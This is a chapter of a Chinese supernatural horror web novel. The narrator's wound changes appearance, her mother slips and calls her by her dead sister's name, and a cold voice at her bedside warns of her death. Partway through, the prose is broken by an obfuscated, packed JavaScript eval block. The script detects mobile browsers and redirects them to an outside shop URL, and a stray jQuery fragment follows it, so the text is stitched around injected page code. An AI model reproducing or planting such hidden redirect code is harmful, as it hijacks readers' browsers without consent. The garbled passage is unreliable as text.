第10章 闹够了吗

作品:《阴嫁女

    相比掐痕,我后脖子的伤口就瘆人多了。


    一圈椭圆形的牙印全都泛着黑,连带着周围的皮肤高高肿起,底下似乎还包着脓液,就像**了似的。


    我试着用手去摸了摸,却发现好痛,这伤口碰都碰不得,轻轻一碰就会流出黑水,真是又恶心又可怕。


    “妈……”我脸色煞白,张口叫向正在调水温的我妈。


    我妈头也不抬:“还不脱衣服,在这鬼叫什么?”


    我佝偻着脖子,以这种奇怪的姿势蹦跶到她跟前:“妈,你快看我的伤口,我伤口很不对劲……”


    我妈关掉淋浴头,一本正经地凑了上来,然后抬手就给了我一掌,痛得我眼泪狂飙。


    “看什么看,不就是个牙印吗?皮都没破,待会洗洗都能痊愈了。”


    什么?


    我以为我听错了,反手指着我的脖子:“你仔细看看,怎么可能没破皮。”


    我妈不耐烦,让我自己去看。


    我再次回到了镜子前一瞧,却发现刚才那道恐怖的黑色伤口不见了,取而代之的,是一个浅淡的红色牙印,连皮都没破。


    怎么会这样……


    我确定刚才没有看花眼,可现在的伤口就在眼前,也不像是假的。


    两种截然不同的伤势,让我开始怀疑人生。


    为了验证,我再次伸出手去碰了碰,却发现好像真没那么疼了。


    或许……真是我眼睛出了问题?


    怀着疑惑,我脱下这身脏衣服,举起受伤的手,快步走到布帘后面。


    这个澡洗了将近一个小时,我身上太脏太脏,脏到我自己都嫌弃。


    可无论怎么洗,我都觉得身上有股若有若无的尸臭味,伴着石楠花的味道。


    我问我妈能闻到吗?


    我妈耸起鼻子,使劲贴着我的皮肤嗅了几口,然后神色一愣,眼底闪过一丝很复杂的情绪,有惊呆、有迟疑,有确认,最后竟是狂喜!


    “妈?”我试探着朝她挥了挥。


    我妈慌乱地掩去那喜色,对我的语气也柔和几分:“那个……那个啥,已经不臭了,我看是你心里原因,觉得你身上很臭。”


    她这一说,我也有点怀疑,可能真是我精神太紧绷,所以才总是觉得,我身上有股臭臭的味道——我姐的味道。


    “行了,赶紧穿衣服吧,累死老娘了。”她起身伸了个懒腰,然后似想起了什么,头也不回地脱口而出。


    “大丫,记得把我给你买的内衣穿上,女孩子大了,要注意形象。”


    刚说完,我和她就同时怔住。


    我妈刚才叫我什么?大丫?


    我和我妈对视一眼,纵使隔着氤氲水雾,我也能清晰地看到我妈脸上的慌乱与尴尬。


    “那什么,我叫习惯忘了改口。”她丢下一句所谓的解释,便匆匆地拉开门走了出去。


    独留我一人在卫生间里,心情低落地对着那件造型独特的小衣服。


    “我姐啥时候有的内衣,我都不知道……”


    “这衣服咋穿啊,也没人教教我……”


    我正嘀咕着,想要研究研究,突然那手就麻利地拿起小衣穿上,熟练地反手扣住。


    所有动作行云流水、一气呵成,把我都看呆了。


    穿好后,我的手又低低地垂了下来,一切恢复如常。


    我望着自己这双有“自主意识”的手,真不知下一秒它又会干出什么让我瞠目结舌的事来。


    这感觉太过诡异,仿佛我的身体里住进了另一个人——一个熟悉又陌生的灵魂,在不知不觉中操控着我,替我做着我从未做过的事。


    难道,我怀疑的那事,是真的?


    我默默想着,得抓紧时间去找三姑问个明白。


    折腾了一夜,又受了这么多惊吓,我就算是铁打的,也终究扛不住。


    之前被恐惧支撑着,让我忽略了身体的难受。


    这会儿洗了个热水澡,身心刚放松下来,我的四肢开始酸痛不已,仿佛跑了好几个八百米。


    我累得够呛,胡乱地吃了碗面条,就回房去睡下。


    这一睡,直到天黑我都没能醒来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17389398|200303||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    浑身滚烫,心里仿佛燃着一团火,脑袋昏昏沉沉像灌满了铅,怎么都醒不过来。


    迷迷糊糊中,我感觉到一只冰冰凉的手,带着湿漉的水汽,轻轻附在我的额头。


    那短暂的清凉,让我舒服地哼唧了一声,直往他的手心里钻。


    我努力想睁开眼看看是谁,可眼皮却仿佛有千斤重,怎么也抬不起来,只能依稀感觉到,一个模糊的轮廓坐在我床边,边上的垫子凹陷一块。


    “水……水……”我喉咙干得冒烟,沙哑地挤出几个字。


    很快,就感觉被人捏住了下巴。


    那指尖带着一种奇异的凉意,与我滚烫的皮肤形成鲜明对比,手指稍稍用力,我的嘴唇就自然地张开了。


    一道很小的水流,如同细小的瀑布,不偏不倚流入我的口中。


    清凉又甘甜的水,划过**涸的喉咙,瞬间就缓解了身体的灼烧感,就连我身上的疼,都似乎减轻了几分。


    我贪婪地吞咽着,意识在清醒与混沌间反复拉扯。


    喝完水后,那只手又回到我额头停留片刻,像是在确认体温,随即,一阵很低的声线,似蒙上一层雾气,在我耳边缓缓传来。


    “真是娇气……”


    这长长的尾音,带着一丝不易察觉的哑,换作平时我会觉得很酥很好听,可此刻,我却无心欣赏,反而被气得够呛。


    就我,还娇气?


    我已经够坚强的了,这些事别说其他女孩,就算男孩都能吓得屁滚尿流、精神失常。


    我能全须全尾地回来,没有疯癫,没有痴傻,也没尿裤子,我已经很牛了好吗?


    我正不服地咬着牙,就听到那冰棱似的声线传来,伴随着一声叹息。


    “你确实还行……可惜,快**!”


    这声音漠然至极,仿佛在陈述一个再平常不过的事实。


    可落在我耳里,这就像是一把刀,狠狠扎进了我心里,宣判着我的死期。


    死?


    我要**?


    我沉重的身体,猛地抽了一下。